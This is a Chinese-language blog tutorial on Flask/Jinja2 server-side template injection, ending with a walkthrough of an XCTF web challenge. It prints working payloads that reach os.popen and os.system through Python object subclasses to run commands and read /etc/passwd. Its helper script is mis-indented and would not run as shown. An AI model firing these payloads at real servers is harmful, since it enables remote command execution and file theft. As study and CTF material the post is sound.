Noname's Blog
信息安全专业的小萌新,立志走上更大的舞台
Python模板注入

python 模板注入

flask基础内容

之前一直想找机会学一下,结果还是咕咕咕了。。

from flask import Flask
@app.route('/index/')
def say():
    return 'hello'

route装饰器作用:将函数与url绑定起来
当访问index页面时,flask会执行say函数

渲染方法

render_template() 用来渲染一个指定的文件

return render_template('index.html')

render_template_string() 用来渲染一个字符串

html = ' '
return render_template_string(html)

模板

flask使用jinja2作为渲染引擎
在网站根目录下有templates文件夹

from flask import Flask,url_for,redirect,render_template,render_template_string @app.route('/index/') def user_login(): 
    return render_template('index.html', content='hello')

/templates/index.html

<h1>{{content}}</h1>

当访问.../index/时,渲染出index.html页面
{{}}在jinja2中作为变量包裹标识符

模板注入

当模板内容可以备用户控制时,将存在模板注入

 template = '''<h2>Hello %s!</h2>''' % person['name']

jinja2在渲染的时候会把{{}}中的内容当作变量解析替换
所以{{}}可以传递变量以及执行一些简单表达式

SSTI文件读取/命令执行

一些魔术方法:

__class__ 返回类型所属的对象 
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 
__init__ 类的初始化方法 
__globals__ 对包含函数全局变量的字典的引用

思路

找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

测试是否有注入点,看表达式是否被执行

{{1+1}}

获取字符串的类对象

''.__class__

寻找基类

''.__class__.__mro__

寻找可用的引用(改变[]里的数字查看)

''.__class__.__mro__[2].__subclasses__()

命令执行时需要找到包含os模块的类(如site._Printer类,假设在列表中的第71位)

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令').read()

一个寻找包含os模块的脚本

for item in ''.__class__.__mro__[2].__subclasses__(): 
try: 
    if 'os' in item.__init__.__globals__: 
        print num,item 
        num+=1 
    except: 
        print '-' 
        num+=1

常用payload


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('cat flag')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

调用服务器的控制台并显示出来

题目:XCTF-WEB进阶区-Web_python_template_injection
查看所有模块

%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D
或
%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

。。。可真多

%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

->
URL http://111.198.29.45:59891/fl4g index.py not found

%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

->出flag